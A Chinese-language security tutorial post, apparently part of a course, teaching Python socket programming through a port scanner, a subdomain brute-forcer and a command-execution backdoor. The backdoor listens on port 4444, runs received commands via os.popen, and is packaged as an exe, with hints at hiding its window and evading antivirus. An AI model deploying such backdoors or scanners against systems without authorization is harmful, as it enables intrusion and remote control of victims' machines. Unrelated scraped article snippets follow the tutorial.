第158天:安全开发-Python-Socket编程反弹Shell分离免杀端口探针域名爆破

前置知识

使用 socket 模块
1. 导入模块
首先,你需要导入 Python 的 socket 模块。
import socket
2. 创建套接字
使用 socket.socket() 函数创建一个新的套接字。这个函数可以接收两个参数:地址族和套接字类型。
    地址族(Address Family):AF_INET 用于 IPv4,AF_INET6 用于 IPv6。
    套接字类型(Socket Type):SOCK_STREAM 表示 TCP 套接字,SOCK_DGRAM 表示 UDP 套接字。
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
3. 连接到服务器(客户端)
对于客户端,你需要使用 connect() 方法连接到服务器。
s.connect(('hostname', port))
4. 绑定地址(服务器)
对于服务器,你需要使用 bind() 方法将套接字绑定到一个地址(IP 地址和端口号)。
s.bind(('localhost', 12345))
5. 监听连接(服务器)
服务器需要监听进来的连接。使用 listen() 方法。
s.listen()
6. 接受连接(服务器)
服务器使用 accept() 方法接受连接。这个方法会阻塞,直到一个连接到达。
conn, addr = s.accept()
7. 发送和接收数据
    使用 send() 或 sendall() 方法发送数据。
    使用 recv() 方法接收数据。
# 发送数据  
s.sendall(b'Hello, world')  
# 接收数据  
data = s.recv(1024)
8. 关闭套接字
完成通信后,使用 close() 方法关闭套接字。
s.close()

socket链接图解

案例一:  Socket-通讯连接-端口扫描&域名爆破

端口扫描

socket进行端口扫描时,当正常有这个端口开放时,不会报错,当没有这个端口时会报错,每次连接完成后需要关闭,socket.socket()后面什么都不写的话,默认是进行tcp连接

根据这个点做一个简单的自己输入想输入的端口进行一个端口扫描(无论成功与否,都要把连接断开掉)

import socketdef port_scan(ip,port):s = socket.socket()try:s.connect((ip,int(port)))print(port+"--> open")except Exception as e:print(port+"--> down")finally:s.close()if __name__ == '__main__':ip = input("please input ip:")ports = input("please input port(eg:80,133):")for port in ports.split(','):port_scan(ip,port) 

扫描本地ip

做一个远程扫描

 但是这个代码还有缺陷,因为只能一个一个进行扫描,当65535端口进行全扫描的时候,就会变得非常慢,因此需要引入多线程的概念

域名爆破

需要用到socket模块中的gethostbyname函数,成功的话会返回ip,失败会报错

根据这个基础写一个子域名爆破工具

import socket,timedef explode(url):#print(url)try:ip = socket.gethostbyname(url)print(url+"|"+ip)with open('domain-exception.txt','a+') as file:file.write(url+"|"+ip+"\n")except Exception as e:passif __name__ == '__main__':url = input("please input your url:")with open('dic.txt', 'r') as file:for line in file:#print(line.strip()+"."+url)explode(line.strip()+"."+url)#time.sleep(1)

爆破结果,能爆破出来多少结果取决于你的字典

 写入文件的的结果

案例二: Thread-多线程-自定义扫描&全端口扫描

上面的端口扫描案例虽然能扫描出来结果,但是速度太慢了。这里尝试加入多线程

当普通写两次循环的时候

执行结果

 简单的多线程

import socket,threading,timedef abc():for i in range(1,5):print(i)time.sleep(1)if __name__ ==  '__main__':for i in range(1,5):s=threading.Thread(target=abc)s.start()

执行结果

但是这里要做端口扫描循环时候,肯定不能每次都从头开始,应该确保每次扫描都是不同端口。

调用quque库

import socket,threading,time,queuedef abc():try:print(q.get())time.sleep(3)finally:  q.task_done() 
if __name__ ==  '__main__':q=queue.Queue()for i in range(1,65536):q.put(i)threads = []for i in range(1,65535):s=threading.Thread(target=abc)s.start()threads.append(s)  # 等待所有线程完成  for t in threads:  t.join()

利用这种写法的话就不会出现每次都重新开始,这里我做了三秒延迟,但是他的速度依然很快

这里的话多线程有很多的知识,我们只做简单的使用

 简单的全扫描程序,有很多问题,这里线程我没有优化,直接设置了一起跑,会很消耗内存

import socket,threading,queuedef port_scan(ip):port = ports.get()s = socket.socket()try:s.connect((ip,int(port)))print(str(port)+"--> open")except Exception as e:pass#print(str(port)+"--> down")finally:s.close()if __name__ == '__main__':ports = queue.Queue()for port in range(1,65536):ports.put(port)ip = input("please input ip:")for i in range(65536):s = threading.Thread(target=port_scan,args=(ip,))s.start()

跑出来的结果,而且好像不会中断,把关键信息跑出来以后就尽快中断

 下面是线程池玩法,这种写法确实好一点可以控制速度,而且不会卡顿,推荐!!!

import socket,threading
from concurrent.futures import ThreadPoolExecutor  
def port_scan(ip,port):s = socket.socket()try:s.connect((ip,int(port)))print(str(port)+"--> open")except Exception as e:pass#print(str(port)+"--> down")finally:s.close()
if __name__ == '__main__':ip = input("please input ip:")if __name__ == '__main__':  with ThreadPoolExecutor(max_workers=500) as executor:  # 创建一个最大包含500个线程的线程池  for port in range(65536):  # 提交65535个任务  executor.submit(port_scan,ip,port)  # 提交任务到线程池执行print("结束")

案例三: Socket-通讯后门-反弹后门&免杀应用

反弹后门

还是根据这张图,首先建立连接

服务端

客户端

netstat -an查看端口发现已经建立了连接

要进行传输数据的话,要生成新的socket连接

conn, addr = s.accept()

这里,conn是与客户端建立连接的新socket对象,而 addr是一个包含客户端地址信息的元组(例如,('192.168.1.100', 12345))。

客户端向服务端传数据

根据图解,服务端向客户端传数据可以直接传输,服务端不用生成新的socket会话

数据经过解码,可以重新变成字符串数据

close()关闭连接

如果传过去的是命令,可以利用os模块进行执行命令

os.popen(data).read()没有额外状态码

os.system()如果成功的话,会额外带一个状态码0,失败返回状态码1

 在此基础上写一个死循环,就能够实现不断命令执行

客户端

import socket,oss = socket.socket()
ip = input("请输入ip:")
s.connect((ip,4444))
while True:data = input("please input cmdline:")s.send(data.encode("utf-8"))print(s.recv(1024).decode("utf-8"))
s.close()

服务端,代码还需要优化,比如输入错误的处理。

import socket,oss = socket.socket()
s.bind(('0.0.0.0',4444))
s.listen(5)
conn,addr=s.accept()
while True:try:data = conn.recv(1024).decode("utf-8")result = os.popen(data).read()conn.send(result.encode("utf-8"))except Exception as e:conn.send("error".encode("utf-8"))
conn.close()

如果目标主机没有python环境,可以给打包成exe文件

pip install pyinstaller

pyinstaller -F py文件

执行结果

 这个黑窗口也可以取消,可以自己研究一下

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1535258.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

大厂硬件梦:字节、腾讯“向首”,华为、小米“向手”

涉足可穿戴设备的大厂们,都抱着再造用户入口的野望,大模型治不好的痼疾,仍需继续前行寻找解药。 转载:科技新知 原创 作者丨茯神 编辑丨蕨影 苹果发布会再次令网友失望!相比iPhone新机配色丑上热搜,反而苹…

《PostMan(一):配置全局令牌》

文章目录 一、配置全局token1、设置2、添加全局3、添加全局变量名称4、选中全局,并查看5、添加赋值脚本6、配置令牌取值7、即可成功获取用户信息 一、配置全局token 1、设置 2、添加全局 3、添加全局变量名称 4、选中全局,并查看 5、添加赋值脚本 // 把…

2024年智能船舶与机电系统国际学术会议(ICISES 2024)

2024年智能船舶与机电系统国际学术会议(ICISES 2024)初定于2024年12月27-29日在中国广州举行。会议主要围智能船舶与机电系统等研究领域展开讨论。会议旨在为从事相关研究的专家学者、工程技术人员、技术研发人员提供一个共享科研成果和前沿技术&#xf…

门磁模块详解(防盗感应开关 STM32)

目录 一、介绍 二、程序设计 main.c文件 gate_guard.h文件 gate_guard.c文件 三、实验效果 四、资料获取 项目分享 一、介绍 MC-38常闭式门磁开关是作为IO开关输入数字信号的,原理是合在一起信号是导通的 , 配合有线主机使用 不能单独使用。适用于非铁质&a…

function uuid_generate_v4()不存在

说明:记录一次使用postgresql函数错误,如下: 项目中的一个SQL用到了uuid_generate_v4()函数生成uuid作为记录的主键,结果报上面这个错误; 分析&排查 首先,我连接上了数据库,在数据库里敲下…

矩阵直播换IP:如何使用代理IP提升直播效果

在直播行业中,稳定的网络连接和高质量的直播效果至关重要。然而,随着观众数量的增加和网络环境的复杂化,直播过程中可能会遇到网络波动、IP封禁等问题。通过使用代理IP,可以有效解决这些问题,提升直播效果。本文将详细…

谈谈LLM训练中的“过拟合”与“欠拟合”

如今,由于其出色的理解、生成和操纵人类语言的能力,语言模型已经成为焦点。据最新调查数据显示,大概30%的企业计划使用非结构化数据来提高大型语言模型(LLM)的准确性。在训练这些语言模型时,一个基本挑战是…

VSCode C++ Tasks.json基本信息介绍

前言 上文介绍了VSCode在Windows环境下如果创建C项目和编译多个文件项目,但是只是粗略的说明了一下Tasks.json文件。今天对tasks.json进行进一步的了解。 内容 Tasks文件 {"version": "2.0.0","tasks": [{"type": &quo…

IPC之AIDL从认识到实战

目录 前言 什么是AIDL? 为什么要设计出这样一种语言?它能帮助我们干什么? 还有其他方法能实现跨进程通信吗?相较于别的方法AIDL有什么优势呢? AIDL的相关语法 Java与AIDL的不同之处 AIDL默认支持的数据类型: …

博弈美业系统实操:美业门店管理系统如何查看客户档案?美业SaaS系统源码

1.打开博弈美业App; 2.点击App下方【客户】,进入客户管理页; 3.找到想要查看的客户,点击进入客户详情页; 4.客户详情页可查看客户个人信息、个性标签、消费记录、回访记录等等详细信息。

RedisTemplate操作ZSet的API

文章目录 ⛄概述⛄常见命令有⛄RedisTemplate API❄️❄️ 向集合中插入元素,并设置分数❄️❄️向集合中插入多个元素,并设置分数❄️❄️按照排名先后(从小到大)打印指定区间内的元素, -1为打印全部❄️❄️获得指定元素的分数❄️❄️返回集合内的成员个数❄️❄…

026.(娱乐)魔改浏览器-任务栏图标右上角加提示徽章

一、目标: windows中,打开chromium,任务栏中会出现一个chromium的图标。我们的目标是给这个图标的右上角,加上"有1条新消息"的小提示图标,也叫徽章(badge)注意:本章节纯属娱乐,有需要…

钻机、塔吊等大型工程设备,如何远程维护、实时采集运行数据?

在建筑和工程领域,重型设备的应用不可或缺,无论是在道路与桥梁建设、高层建筑施工,还是在风电、石油等能源项目的开发中,都会用到塔吊、钻机等大型机械工程设备。 随着数字化升级、工业4.0成为行业发展趋势,为了进一步…

基于python+django+mysql+Nanodet检测模型的水稻虫害检测系统

博主介绍: 大家好,本人精通Java、Python、C#、C、C编程语言,同时也熟练掌握微信小程序、Php和Android等技术,能够为大家提供全方位的技术支持和交流。 我有丰富的成品Java、Python、C#毕设项目经验,能够为学生提供各类…

Qt (16)【Qt 事件 —— Qt 事件简介 | 如何重写相关的 Event 函数】

阅读导航 引言一、事件介绍二、如何重写相关的 Event 函数1. 事件的处理简介2. 示例重写鼠标相关的 Event 函数(1)新建Qt项目,设计UI文件(2)新添加MyLabel类(3)重写enterEvent()方法和leaveEven…

果蔬识别系统架构+流程图

相关文章和代码 果蔬识别系统 果蔬识别系统优化(1~5) 架构图 流程图 初始化 识别流程 学习流程 同步流程 与初始化类似,只是同步只同步一个storeCode数据 删除数据流程 导入数据

三、k8s中的控制器的使用

一 什么是控制器 官方文档: 工作负载管理 | Kubernetes 控制器也是管理pod的一种手段 自主式pod:pod退出或意外关闭后不会被重新创建 控制器管理的 Pod:在控制器的生命周期里,始终要维持 Pod 的副本数目 Pod控制器是管理pod…

软件安装攻略:EmEditor编辑器下载安装与使用

EmEditor是一款在Windows平台上运行的文字编辑程序。EmEditor以运作轻巧、敏捷而又功能强大、丰富著称,得到许多用户的好评。Windows内建的记事本程式由于功能太过单薄,所以有不少用户直接以EmEditor取代,emeditor是一个跨平台的文本编辑器&a…

用SpringBoot进行阿里云大模型接口调用同步方法和异步方法

同步效果就不展示了,这里展示更常用的异步,多轮异步流式效果展示如下: 结果内容组合 1、同步版本环境准备以及代码 需要开通阿里大模型服务,如果没有开通服务,单独的去生成 key 是无效的。 阿里云登录 - 欢迎登录阿里云,安全稳定的云计算服务平台 生成你需要的 key 1、…

2.C++中程序的语法基础--关键字与分隔符

现在回过头来看上一篇中所写的程序&#xff1a; #include <bits/stdc.h> using namespace std; int main() {// 程序主体cout << "HelloWorld" << endl; return 0; } 我们会看到许多英文单词&#xff0c;像"include"、“using”&…